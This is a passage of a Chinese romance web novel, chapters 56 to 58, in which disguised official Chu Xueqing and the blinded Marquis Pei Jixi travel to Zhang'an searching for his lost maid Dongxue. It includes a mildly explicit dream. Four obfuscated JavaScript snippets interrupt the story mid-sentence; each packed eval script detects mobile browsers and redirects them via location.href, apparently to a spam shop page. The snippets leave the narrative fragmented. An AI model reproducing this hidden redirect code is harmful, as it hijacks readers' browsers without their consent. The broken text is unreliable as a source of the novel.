吴长逸带着大队人马回京复命,桑静榆便骑马跟在队伍里。 吴长逸想不通初学清为何就对他这般放心,正常夫君,怎会放心让自己的夫人与退过亲的男子在一起?虽然他此行隐隐明白了桑静榆为何离开自己,也知道自己究竟是哪一点比不上初学清,但习惯使然,总会不自觉去挖掘初学清的错处。 他骑行到桑静榆身边,状似无意道:“你还是坐马车吧,这一路奔波,都来不及好好歇歇。” 桑静榆不以为意:“我游历四方惯了,不觉得累,别拖慢了队伍。” 吴长逸顿了顿,道:“经过此行,我知晓了为何你要退亲。” 桑静榆一怔,未料他竟主动提起,面上现出一抹尴尬,“提这个作甚。” 吴长逸一直克制自己那点见不得人的心思,这么多年,都是能避嫌就避嫌,顶多在忍不住的时候,刺初学清几句,可对桑静榆,他连偶遇,都要退避三舍。 “她对我说,你选她,是因为她对你尊之重之,敬之爱之。”吴长逸看了眼桑静榆波澜不惊的面庞,继续道,“我知自己不如她,她心怀天下,情系苍生,且的确尊你敬你。” 桑静榆挑挑眉,她总觉得吴长逸不会这么好心夸初学清。 果然,吴长逸又道:“可她有一点不如我。” 桑静榆撇撇嘴,“莫不是身高吧?” 吴长逸摇摇头,“她的确尊你敬你,给你选择的自由,可我感受不到一个男人对女人的爱慕。” 吴长逸知道此话逾矩,可不久之前,初学清还在暗示他,若她有什么不测,不会阻挠静瑜的选择。 他知初学清心怀大义,不惧生死,可他却觉得,她更多是把桑静榆当作同路人,而非妻子。 “我若娶妻,必眼里心理,只容得下她,将她放在第一位,也不会把她推给别的男子。如今我已明白前缘已尽,只是提醒你,在她心中,天下永远在第一位。我和她不同,经此一路,我也知晓自己该放下,我会娶妻,会寻到我的那个第一位。” 桑静榆在马上的身形僵了僵,一股难言的酸涩竟涌了上来。她忽的想起,当初她问吴长逸,婚后可否行医,吴长逸是怎么说的。 “女医抛头露面终是不妥,你若想行医,家中诸多女眷,都可让你练手。但你放心,我会为你挣诰命,会将你放在第一位,让全京城的贵女都羡慕你的好姻缘。” 彼时那个郑重承诺着的少年,不知她的少女有着怎样的抱负,可那个少年,是将少女放在第一位的。 可她要的不是诰命,不是别人的歆羡,她要的是杏林妙手,是悬壶济世。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173979|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今吴长逸似是终于走出来了,他打马走到队伍最前,不再与她同行。 桑静榆的心中似乎倏地缺了一块,又仿佛,那块一直缺着。 * 吴长逸本欲拨几个护卫给初学清,可初学清却道此行不宜声张,愣是一个护卫都没带。 桑静榆临行前也叮嘱了她半天,生怕她一个人带着个瞎子照顾不好自己。 初学清却知道,没准她还要靠这个看不见的人来保护。 残冬的余寒在他们往樟安行进的路上渐渐消失,伴着盈盈的春意柳绿草长,百花含苞。 初学清在路上为裴霁曦讲述了自己在樟安做知府的那段日子。 那时她刚在科举中崭露头角,踌躇满志地要在樟安大干一番,可初到樟安,不识官场的人情世故,也吃了不少亏。 总是要在宦海中沉浮一番,才会收一收棱角。 尤其那时她初与桑静榆成亲,两人的亲事并不那么好听,毕竟是退婚再嫁女,与寒门出头士子,而这些风花雪月,永远比一个人的才干要传的快。 何况知府夫人抛头露面,甚至为男人诊治,先开始来治病的甚至不是病人,而是要一睹知府夫人芳容的闲人。 两人都咬着牙坚持着,一个不被官场陋习浸染,秉持原则却有所通融;一个不被世俗目光所扰,治病救人也不分男女贫富。 直至那年樟安出了时疫,初学清协调各方资源,桑静榆亲自诊病,终是让樟安顺利度过了那次灾难,至此桑静榆甚至得了“桑仙姑”的称号。 樟安处于南北枢纽,往来客商云集,因此初学清大力发展樟安商业,让樟安成了南北货物的中转站。 现在的樟安商会会长叶馨儿,当时只是一个孤女,父亲去世,身边只有继母和幼妹。初学清见她有经商天赋,便暗中点拨了几句。虽未给予其他便利,但只要初学清待她,与待其他男人一视同仁,便是对这个女商最大的扶持了。 而叶馨儿也不负她所望,带领整个商会,振兴樟安商业。 其实初学清与樟安,是互相成全。没有她,樟安可能也只是一个中转站;没有樟安的业绩,她也不会任满直接调任吏部。 听到这一切的裴霁曦,愈发觉得初学清是如此与众不同,她才华横溢,却没有恃才傲物。为寒门,她可以大兴变法,甚至不惜牺牲自己的官途;为女子,她可以冒天下之不韪,让妻子为男人看病,举女人做商会会长。 这样的人,他只识得一个,便是冬雪,在她的眼中,高低贵贱,甚至国别,都只是身份,不是区分人等级的枷锁。可惜她女子之身,无法像初学清这般做这么多。 初学清讲述这些的时候,并没有自傲的语气,只是淡淡陈述着,仿佛是在讲述一个平淡的故事。 她的声音伴着哒哒马蹄,与沙沙春风,夹杂着微风中青草的味道,让这漫长的旅途也显得春意盎然。 这让即使看不到春色的裴霁曦,也感受都了万物复苏的生机。 56. 学清:幻梦 初学清此行到樟安,是为了找叶馨儿商议远派织女匠人之事,此事并不是什么肥差,即使朝廷出面,也不一定能找到愿意协助的商人。建祯帝命她发动自愿出人的商户,她第一个想到了叶馨儿。 而她之前是提前与叶馨儿通信,得到了肯定答复,心中有底后,才带着条件去长戎和谈的。 可此事现下不能摆在明面上,一旦其他人知道此事已提前商议好,便容易让她有个官商勾结的头衔。这差事,朝廷派下来不一定有人接,但提前找人接,就是问题了,没有利益可图,也容易让人琢磨出利益来。 她只能私下再与叶馨儿商议好细节后,再禀告陛下,过明路后再实行,方能名正言顺。 因此她与裴霁曦一路并未住官驿,遇见客栈就住客栈,遇不见,便在春夜野外露天而宿。 虽一路风餐露宿,但裴霁曦总觉得,越与初学清接触,就越觉相见恨晚,这一路,也并不虚度。 可不住官驿,就难免会有意外情况。 就比如今夜,客栈只剩一间房间,行军之人不拘小节,连大通铺都睡过,裴霁曦自然不介意。 可初学清即使介意,也不能说出来,只能装作泰然自若的样子,仿佛这并不是什么大事。 偏这剩余的一间房,卧榻窄小不说,连屏风也无,连续风餐露宿几日的二人,都需要沐浴一番,裴霁曦自是不知初学清心中的纠结,也不觉这有甚尴尬的。 小二送了热水,初学清让裴霁曦先洗。 她知道裴霁曦完全可以自理,便坐在椅上,背过身去,只听得身后哗啦啦的水声,扰得她心神大乱。 她记得那古铜色的肌肤,与有着虬劲线条的肌肉,甚至不自觉在水声的影响下,脑海中出现了画面感。 她只得胡乱翻着手中的书册,来赶走脑海中不合时宜的画面。 裴霁曦洗完,让小二换了水,只着中衣,摸索着走到床前,问道:“学清习惯睡外面还是里面?” “我睡外面。”一出口,初学清才发现自己嗓音哑得厉害,忙清了清嗓子。 裴霁曦既看不见,初学清倒也不必防他,走到浴桶旁,看见架子上,搭着一个素色帕子,还有他换下的贴身衣物。 她用最快的速度沐浴完毕,还小心翼翼地缠上裹胸。 她转过身,看见裴霁曦背对着她坐在窗前,手中把玩着一块木头,她此刻心中慌乱,也无心看他手中是什么。 裴霁曦听见她洗完的动静,将手中东西塞入包袱中,这一路行来,他都没有时间再刻了,只得把玩着之前刻好的木头。 裴霁曦起身躺在床里侧,紧紧靠着墙,给她留了不小的位置。 她熄了烛火,缓缓坐下,沿着床边躺好,几乎半个身子都悬空着。 似是在往里一点,就会碰到被诅咒的禁忌。 裴霁曦似是从这慢吞吞的动作中觉察到了她的不自在,轻笑道:“学清许是不习惯吧,我自小在军营长大,大通铺都睡过,忽略了你的不适。” “没有。”初学清忙道,“地为席天为被都能接受,怎会不习惯。” 四下静默,偶尔能听到微风吹打窗楞的声音,窗楞不够结实,吧嗒吧嗒的响声不断。 客栈的确年久失修,连稍微翻个身,都会听到床板的咯吱声。 眼前的昏暗让初学清觉得有些不自在,一动不动时间长了,身子也开始有些发僵。 黑暗太容易让人胡思乱想。 “学清。”裴霁曦的声音在幽暗中响起,“变法之事,你揽于一身,我本以为你的仕途就到此为止,没想到最后只是调任礼部。” 初学清哑然片刻,许是多日的相处,让彼此慢慢卸下心房,连这种敏感的问题都问出了,思索一番,她答道:“是景王殿下,他托了太子,太子对陛下道我是他的人,陛下一心为太子铺路,这才保下了我。” “景王很看重你,不惜向太子暴露你是他的人。”裴霁曦肯定道。 初学清由衷道:“他是我见过最特别的上位者,从不因外在身份去衡量一个人,要不是他,我一届寒门,是不会走到今天的。只是,无形中让裴兄站了队,实在对不住,但你放心,没几个人知道我是景王的人,景王也不会逼迫你做什么。” 裴霁曦缓缓道:“我不会是任何人的棋子。即使你我亲如兄弟,我也不会在夺嫡中站队,望你谅解。” “我理解。”初学清道,“我已身在局中,但若此局能助力开平盛世,也不枉我沉入局中。” “如今西羌与北狄都因你的出使而息战,好在如今你在明面上是太子的人,想必陛下为了给太子铺路,也必会重用你。你于变法一事上受到的不公,总算有了善果。” 初学清却没有这么乐观,她只道:“就算我真是太子的人,现在还有二皇子背后的张家在虎视眈眈,他们不会允许我把这个功劳算在己身的。就如同当初,裴兄发现了汪实勾结西羌倒卖兵器,可最终西境的军权也没有第一时间给到定远军。” 裴霁曦闻言,回想起当初与冬雪、轻风在西境的日子,一时没有回初学清的话。 初学清继续道:“那汪实罪有应得,可陛下将他入狱之后,却派了朝中其他武将接管西境,没有处罚当时的勐城知府,也没有奖励发现汪实罪责的你,实在是……” 裴霁曦忙打断初学清的大不敬:“学清,莫要多言。” 他当时去勐城,的确是在陛下暗示下,以为要将西境军权统一交给定远军,才在前期收集汪实罪证,可未料汪实入狱后,接管西境的也不是定远侯。 汪实的背后,少不了张家的势力,当时的陛下,需要一个能不计后果对付张家的人,因而才给了定远侯暗示,可定远侯也本在陛下的忌惮之中,又怎会痛快的把西境军权给到定远军呢。 裴霁曦没有想到初学清对这段往事也知之甚多,可能是景王对她讲过。 初学清道:“不过裴兄可能不知,那张守同就算调任他处,变法实施后,他这种靠裙带关系上位的官员,考绩自然不合格,已被罢黜归乡了。” 裴霁曦轻叹一声:“怪不得张家要如此针对你。” “他们怎么做我并不在意,只要变法真正实行起来,吏治自然会更加昌明。世家大族盘根错节,京中和地方都有与世家沾亲带故的人,诚然不能一次厘清,但一步步来,总有清算的时候。对了,明日就要到樟安了,那边可有接应裴兄的人?” “我的手下一早便在樟安等我,只是咱们离开邺清后,连日奔波,断了音讯,不过到了樟安,便能联系上了,我也就能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222904|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到答案了。” 初学清轻声问:“裴兄的答案,是叶馨儿?” 裴霁曦沉默半晌,才道:“不知她是不是旧人。” 初学清有些疑惑,叶馨儿究竟与冬雪有什么联系,让裴霁曦产生了这样的误解。她不解问道:“为何裴兄会认为叶馨儿是旧人?” 黑暗中裴霁曦弯了弯唇角,语气愈发柔和:“因为我要寻之人,是天下最特别的女子,不管她如今在做什么,一定是不同于常人。” 初学清默然失语,她从未想过裴霁曦会一直寻她,她选择离开的时候,就已经做好了准备将两人这段过去抹掉。 她一直认为,裴霁曦对她动情,是因为自小接触的女子太少,就算明履营中女子多,但与他年纪相适的也几乎没有,他又不让丫鬟近身伺候。那时的冬雪,是唯一一个一直在他眼前晃的适龄女子。 纵然他们一同经历过生死,但换个人,兴许也会和他一起经历这一切,只是换个人,可能就甘于做他的通房了。 可她未料到,在裴霁曦的心中,她是天下最特别的女子。 可特别又有何用呢?皎如天上月,灿若满河星,也终究只能过眼而已,那星月终究是远方的,唯有枕畔的呼吸,才最为真切。 如他早逝的发妻。 应也和他们现在一般,躺在同一张床上,在夜色中互吐心声。但又和现在不同,他们应更加亲密,宛如曾经的他与冬雪。 想到这里,初学清的心隐隐发疼,虽已知这一切不属于自己,但仍难忍那一抹酸涩。 初学清微微转头,借着透过窗牖的晦暗月光,描绘着他的轮廓。 他们已经许久没有这般近了,她甚至能感受到,她的左臂紧挨着他的右臂,隔着两床被子,感受他的温度。 还有静谧夜色中,他清浅的呼吸声,匀称而轻柔地钻入她的耳中。 以及沐浴过后,那股熟悉的松木浅香,诱惑着她靠近。 可她不能靠近,只能回以同样清浅的呼吸。 夜谈在两个人各自的沉默中结束。 许是谈到了冬雪,裴霁曦在睡梦中似是闻到了冬雪的味道,仿若她就在他身边,极近的位置,他甚至能感受到她的体温,透过薄薄的中衣,传到了他的肌肤之上。 一如多年前的那个夜晚,她靠了过来,手轻轻环在他的腰上,慢慢收紧。 两个人的彼此试探,如细腻的春风,吹过的地方,让人又痒又酥,带着一点点的暖意,融化在身上。 慢慢风开始变大,疾风骤雨的呼喝,让人惧怕,又让人沉醉。 紧紧缠绕于身的风,是那般灼热,刮过了身上每一个角落,所到之地,带给人极致的快乐。 滚烫的汗水,就是狂热的骤雨,从他的身上,淋到她的身上。 可远远不够,风不够烈,雨不够烫,风雨抵死相依,极致缠绵,不知是风里有了雨,还是雨融入了风中。 风雨在缠绕中终于销声匿迹。 骤雨初歇的时候,似是日光照了进来。 是真的日光,不是梦里的日光。 裴霁曦猛然惊醒,眼前虽是黑暗一片,但他觉察到身边之人的细微的挪动,知道现在,定是日光乍泄。 而他身下的濡湿,是那幻梦的罪证。 57. 学清:尴尬 日光透过窗牖洒进客房,带着碎金般的光泽唤醒沉睡的人。 初学清闻到了一股怪味,她反应了好一会,才想起那是什么味道,踌躇起身后,眼睛不自觉就瞟了一眼那里。 当她意识到发生了什么,竟不知该如何反应,呆愣地坐着。 裴霁曦随后惊醒,意识到自己的情况,忙伸手去够了够昨晚踢掉的被子,遮住那一团尴尬。 初学清慌乱中起了身,迅速穿上外裳,支吾道:“我……我让小二送点水来。” 裴霁曦喉结上下动了动,不知如何接话,只听见她往外走时慌乱的脚步声,与不小心碰到桌角的吱呀声,最后终结在砰的关门声。 怎的就在这时做了那样的梦。 他已经许久没有梦到过冬雪了,她的面容都已经在岁月流逝中逐渐模糊,她的声音随着时间流淌变得朦胧,就连她的气味也都慢慢消散。 可昨日的梦,竟那般真实,似是她就在身边,清晰的面容触手可及,幽幽的嗓音溢出轻喘,那气味也近在咫尺,和自己融在一起。 许是快到樟安,近乡情怯的忐忑;或是夜谈太久,拳拳在念的回忆。 可后果就是,两个男人,一个出了这种状况,偏另一个似是比自己还惊诧,让他都无法装作若无其事揭过此页。 一身狼藉,他用了半晌才收拾好。 随后他推开门,听见脚步微微挪动的声音,初学清的声音随即响起:“我……买了些包子,裴兄快用吧。” 一个油纸包塞到了他的手上,他僵着手接过。 油纸包已经没那么温了,看来初学清在门外等了不短的时间。 “我……下去等裴兄。”初学清的声音低如蚊蚋。 裴霁曦本来也只是有些尴尬,但毕竟都是男子,想初学清也能理解,未料她看上去更不自在,让这尴尬无形中又加重了几分。 两人出发的时候,一人一马,只知疾驰,不像前些日子,两人路上休息的时候,便随意找个地方做下畅聊,聊官场、军政、天气、风土人情,无话不谈。 初学清也总是体谅他眼盲,常常侃侃而谈,生怕她如果沉默下来,会让什么都看不见的他不适。 可今日谁都没提出中途休息,一路奔驰,只在晌午的时候,稍作休息吃了点干粮,便即刻出发了。 倒也不是不言语,只是一个刻意装作若无其事,一个说两句就戛然而止不知如何继续话题。 好在他们赶在夜幕降临之前到了樟安。 正值樟安盛春,晚风和煦,吹散江南流水氤氲,樟安的热闹不会被暮色掩盖,不似邺清的沉寂,也不似京城的规矩,樟安的繁华有着不拘一格的味道。 轻风得了信,早早便在城门口等着他们。 见他二人到了,轻风行礼后就用那机灵的眼睛状似无意地上下打量了下初学清。 初学清身着青色棉布素面直裰,衬得她文质彬彬,浓密的眉毛下是一双乌黑漆亮的眼眸,目光温厚,没有半点高官的架子,唇角微扬,冲轻风笑着。 轻风心中慨叹,果然是有些像冬雪的。 要不是墨语提前来信,让他不要告诉裴霁曦,初学清有可能是冬雪的兄长,他还真管不住自己的嘴。 他也动用了这些年建立的情报网查了一下,初学清的确早年有一走散的亲妹,多年来未有音讯。 可见到初学清,轻风便知晓,那叶馨儿定然不是冬雪,否则初学清在樟安任知府这么久,遇见与自己相像的女子,怎会不知那是自己走散的亲妹。 但轻风不能说,挑破这层关系,初学清与裴霁曦便不好相处了。 轻风拉着马,为二人带路,边走,边嘴上不停地感谢着初学清:“我家侯爷就是个嘴硬的,若早知他患了眼疾,我就该一早回邺清去照顾他,多亏了初大人一路照拂,不然我真是在樟安待不住了。” 裴霁曦耳边许久没有这么聒噪,自眼盲后,身边的人一旦沉默,他会有些许的不适,因他无法观察对方的神情。 今日与初学清这一路走来,尤其不适。 好在有了轻风这个话痨,终是打破这种可怕的沉默。 裴霁曦心下稍松,问轻风:“可见到了叶氏?” 轻风拍拍脑袋,竟忘了第一时间向裴霁曦汇报,他忙道:“不巧的很,叶氏这几个月一直在外做生意,连年节都没回来,我又不敢离开杨氏,就只能一直在这守着。可这么久以来,的确没在杨氏周围看见像冬雪的人。” 初学清骤然听到“冬雪”这个名字,恍如隔世。 她虽一直猜测裴霁曦在找自己,但还是第一次这么明确地听到自己的名字。 她掩饰着内心的慌乱,似随口问道:“你们说的杨氏,可是叶馨儿手下掌柜杨若柳?” “是,是!”轻风兴奋道,“莫非初大人认识杨氏?” 初学清答;“以前在樟安做知府时,有过接触。” 轻风欢喜道:“那可太好了,我怕打草惊蛇,一直没有正面问过杨氏,若是初大人能帮忙打听打听,可是能省我不少事呢。” 轻风仍抱有希望,就算叶馨儿不是冬雪,冬雪说不定也找过杨氏。 不用初学清问,轻风就叽里咕噜把事情说明白了,“我们要寻的人叫冬雪,原是侯爷丫鬟,她离开时,认识的人也就局限在府内和军中,我寻了好久,找到杨氏才想起,侯爷和冬雪救过杨氏,兴许冬雪离开以后会找杨氏呢。” 一旁的裴霁曦不悦道:“她不只是丫鬟。” “瞧我这嘴!”轻风忙拍了拍自己的嘴,“冬雪要是不离开,就是侯夫人了。” 轻风兴奋地想,若他们真的寻回冬雪,那可就真的和话本子一样了! 身份低微的丫鬟与世子相恋,碍于世俗无法在一起,丫鬟出走后世子遍寻不得,丫鬟却有了一个做高官的兄长。成为侯爷的世子没了长辈可以自己做主婚事,使尽浑身解数追妻。丫鬟的兄长对侯爷百般刁难为妹妹出气,最终一波三折有情人终成眷属。 这话本,谁写谁赚钱! 唯一美中不足的是现在还没找到冬雪,轻风不自觉叹了口气,嘀咕出声:“真和话本子一样啊!” 裴霁曦问:“什么话本子?” 轻风意识到自己竟说出了心声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244547|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点泄露初侍郎和冬雪的关系,忙道:“就是侯爷和冬雪的故事,真和话本子一样,为心爱之人冲破身份枷锁……” 裴霁曦打断了他:“少看那些话本子,你若和墨语一样好学,凭你的聪明劲,早做将军了。” “光聪明也不行呀,冬雪也很聪明,还不是从明履营出来了。”轻风不小心又说错了话,忙止住话头。 裴霁曦神色一暗,默然不语。 初学清敛了敛眸,面上状似无意地试探道:“她多大了?是何模样?” 轻风忙答:“冬雪离开时不到十七岁,今年应当二十有四了,所以现在应该有些变样,不过……她和大人一样,也是英眉俊眼,何况那杨氏见过冬雪,如果冬雪真找过她,她应当知道的,怕就怕她会瞒着我们,大人最好旁敲侧击问问。” “杨掌柜为何要瞒你们?”初学清故作不知。 轻风叹道:“冬雪是因为不想在府里待了才走的,我们都找了好几年了,一开始是循着周边人的线索,但这么多年都没找到,若她有心,早就自己回来了。从去岁开始,我们才开始拜访一些奇女子,看会不会是她隐姓埋名换了身份。” “为何要寻奇女子?” 轻风不知该不该答这个问题,却听见裴霁曦道:“我不知她在哪,她有可能行医救人,也有可能著书立说,甚至行商、教书……我只知,她不会甘于平庸,无论在做什么,都必是卓尔不凡,我已失了她的线索,只能如此去碰运气。” 初学清淡淡道:“既是她自己离开,为何还要寻她?” 轻风瞟了瞟裴霁曦,没有回答这个问题,只冲着初学清使眼色,初侍郎怎么能说话这般直白呢。 裴霁曦垂下眸子,沉声回答了这个问题:“是我的执念,只是想知道她好不好,若她过得好,便是不想回来,我也能放心了。” 初学清沉默不语,她能感受到裴霁曦寻人的迫切,也看得出这迫切之中藏了许多情谊,但两人中间相隔的,又岂止是这八年的时光。 若他真的如此迫切寻人,为何又会娶妻生子?是老夫人给的压力吗? 夜幕渐渐沉下,樟安的夜喧嚣而热闹,纷纷行驶的马车,肩摩踵接的人群,连河边的垂柳也随着鼎沸人声拂着水面,水面微漾的波纹一团团往前飘着,赶着河上的行舟摇摆向前,行舟上传来悠扬的古琴乐声,飘荡在浓重的夜幕之下。 这种热闹,掩盖了初学清的沉默。 轻风看裴霁曦心绪不佳,便道:“对了侯爷,江南玉石多,我收集了许多适合雕刻的玉石,都给您留着呢。只是您现在看不见,还是少刻为好。” 裴霁曦点点头。 初学清以前见过裴霁曦刻石头,刻木头,不知他何时添的这个癖好,便问道:“裴兄喜欢雕刻?” 不等裴霁曦回答,轻风就抢着说道:“侯爷只喜欢刻雪花,雪花簪、雪花玉佩,不光玉石,普通的石头、木头,摸着什么刻什么。” 初学清怔住了,想到自己那个深藏在书房暗格里的雪花簪,心中怦然跳动。 裴霁曦听到轻风的快言快语,叹口气:“随便刻刻罢了。” 58. 学清:旧识 一路到了客栈,初学清的房间推开窗就可以看到河上石桥,与不断穿过桥洞的行舟,行舟灯盏熠熠,如跌落河水的星辰,在河水的波光粼粼中闪耀。 这座城镇,是她踏入官场的一个试金石,好在,樟安用自己现今的繁华艳丽,向世人展示她在任三年的成果。 即使已又过去这许多年,樟安现任知府仍遵循着她当年的政策,大兴商业,让这座城镇保持着这种繁盛。 她其实很想让裴霁曦看看现在的樟安,让他了解她离开后做了什么。 但是不要知道她受过的苦,那些初入官场得到的冷眼与薄待,还有那时世人的误解与嘲讽,已经捱过去的,就不算什么。 可惜他现在看不见,不然她定要带着他,踏遍每一块青砖,划过每一条河道,用樟安现在的兴旺,证明她选择的正确。 可她已经不是冬雪,只是他眼中,一个为国为民的好官,一个志同道合的兄弟。 许久没见到轻风,虽他今日一如既往的聒噪,但初学清听着他一路说不尽的话,只庆幸这聒噪掩盖了她内心的慌乱。 裴霁曦一直在寻人,一直在刻雪花……他究竟还做了什么? 这让当初不告而别的她,显得如此寡情薄幸。 可他的夫人知道吗?他在他夫人身边的时候,也会刻雪花吗?这样岂不是又辜负了一个无辜的女子? 还是,在男子眼中,家中应有掌管中馈的主母,但心中也可以有爱而不得的女子,这两者,并不冲突。 可她不愿相信,裴霁曦是这样的人。 * 翌日,轻风将他们二人带到杨若柳管的成衣铺子附近,初学清本也是为了找叶馨儿才来的樟安,如今叶馨儿不在,也只能先找杨若柳了。 铺子在街上最热闹的地段,来往的行人比肩接踵,初学清和轻风一个在裴霁曦左边,一个在他右边,默契地将他护在中间。 铺子前栽了几颗桃树,比几年前更加高大,如今花蕊初现,一树粉嫩,在晨光的照耀下柔美无比。 铺子也和初学清离开时不一样了,白墙青瓦,雕栏玉砌,飞檐椽头上是卷草石榴彩画,门上是三交六椀菱花格心,看上去华丽却不失温馨。 轻风在一旁对初学清道:“杨氏现下应该还在店里,初大人您进去吧,我们毕竟不认识她,就不去了。” 恰在此时,他们面前倏地出现一个中年壮汉,揪着轻风的领子把他提了起来。 壮汉恶狠狠道:“臭小子,我看见你好几天了,总是鬼鬼祟祟在附近游荡,今天又带了帮手,你在打什么主意?” 一旁的裴霁曦闻言正欲出手,初学清忙按住他手臂,又对那壮汉道:“壮士,此事是误会。” “误会什么,要有正事,直接进去就可,为何就在门口盘桓?” 初学清淡定道:“我与杨掌柜乃旧交,不信你可唤她出来对峙。” 那壮汉缓缓松开抓着轻风的手,眼神仍然戒备着,“那你们跟我走。” 壮汉带着他们进了铺子,杨若柳恰在此时出来,看见壮汉,笑道:“柴大哥,你从顺州回来啦?” 壮汉回道:“早几天就回来了,看你忙,就没进来。”他从身后拽过轻风,“这人鬼鬼祟祟在门口转了好几日,今儿还带了帮手来,说与你是旧识,你且看看,认不认识他们。” 轻风挠挠头,往后缩了缩,闪出位置,初学清走上前去,温言笑道:“杨掌柜,许久不见了。” 杨若柳反应了一会,才叹道:“初大人,您可是好几年没回来了!快进,快进!” 杨若柳热情地招呼着他们,边引着他们到二楼,边对一旁的壮汉解释,“柴大哥,初大人之前是樟安知府,若不是她,咱们樟安现在可没这么繁华呢。” 柴富贵随意打量了下初学清,垂头不语。 因为要上楼,初学清低声对身后的裴霁曦道了句“小心台阶”,一旁的轻风忙上前扶着裴霁曦,杨若柳这才注意到初学清身旁竟跟了个盲人。 几人上楼后,杨若柳引着他们到凭栏的方桌旁坐下,并吩咐下人看茶。 杨若柳向初学清介绍那壮汉:“初大人,这位是柴富贵,在临街开了间打铁铺。”言罢弯了弯眉眼,两人的关系没有道明,但是有心人都听得出来。 可柴富贵即便听到方才杨若柳称呼初学清为“初大人”,现在看上去也没有百姓见官那种敬畏或殷勤,目光平静,不卑不亢。 初学清也介绍道:“这二位是我的朋友,随我一同出来办事的……” 还未等她介绍名字,杨若柳恍然般道:“世子……不对,现在是侯爷了。”她又看向初学清,目光在二人之间打转。 初学清未料到杨若柳竟还记得裴霁曦的模样,忙解释:“杨掌柜竟认得侯爷。”顿了顿,又道,“但此行不宜声张,还望杨掌柜万勿对人言。” 杨若柳点点头:“初大人放心,我与柴大哥都不是话多之人,可侯爷这眼睛……” 既然已经被认出,裴霁曦索性也不再遮掩,直接道:“受了点伤,暂时看不见了。实不相瞒,我此次来樟安,是想向您打听一人,之前我们府里的冬雪,您可还记得?” 杨若柳像木头一样愣怔了一下,她忍住想要看向初学清的冲动,缓了缓神色,笑道:“侯爷和冬雪对我有救命之恩,我岂会忘记。” 裴霁曦难掩心中忐忑,这么多年来,这是距她的消息最近的一次,他继续问道:“那自当年你离开京城后,可再见过冬雪?” 初学清闻言,垂下了头,看向茶杯中漂浮着的一片茶梗,目光悠远。 这感觉很怪异,裴霁曦当着初学清的面,问杨若柳是否见过冬雪。 杨若柳下意识看了眼初学清,见她垂眸不语,便知道了她的意思。杨若柳缓缓道:“冬雪不是一直在您的府上吗?她不见了吗?” 裴霁曦的神色瞬时黯了下来,仿若满天星辰被倏忽飘过的乌云遮掩,只余一片苍茫,他沉默半晌,才道:“是不见了,若有她的消息,劳烦相告。” “侯爷放心,有消息定会告诉您,只是我的确许久未见冬雪了,都快忘记她的模样了。” 轻风看了眼一旁的初学清,若杨掌柜记得冬雪的模样,见到初学清,不会怀疑吗?他疑惑道:“可是杨掌柜方才一眼就认出了侯爷,怎的偏就忘记了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262310|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬雪的模样?” 杨若柳顿了顿,淡定答:“我见冬雪时,她才13岁,那个年龄的女子,正是长身体的时候,虽有些印象,但也把不准她现在的模样。倒是侯爷,风采更胜从前。” 轻风自言自语:“也是,冬雪刚进府时还没长开,也瘦小,与她及笄后的样子大不一样呢。” 裴霁曦的心几经起伏,如今却如死水一般,乌压压沉了下来。 杨若柳端起茶盏,呡了一口,顺势转了话题,“初大人此次来是帮侯爷找人的? 初学清抬眸,露出个只有她们二人懂的淡笑,是在感激她的遮掩,“本是来寻叶老板的,不知她什么时候回来?” “她本在溪泽选料,之前接到您的信,我便让人送去了给她,她也说是这一两日回来,只没料到您这么快就来了。” “无妨,那我便在樟安等等她。” “诶诶。”一旁的轻风打断了她们的叙旧,“杨掌柜真的没见过冬雪吗?那叶老板不是冬雪吗?” 杨若柳诧异看向他,笑道:“八竿子打不着的人,怎么你们会这么想?” 裴霁曦本就无光的眼眸,彻底暗了下来,仿佛快要到终点的时候才发现走错了方向,脸上如结霜的松针般,没有一点温度。 他知道叶馨儿的年龄与身份都与冬雪有所差距,可他总觉得,冬雪那样的人,只要还在这世上,就一定不会泯然众人,她会是最特别的那个女子。 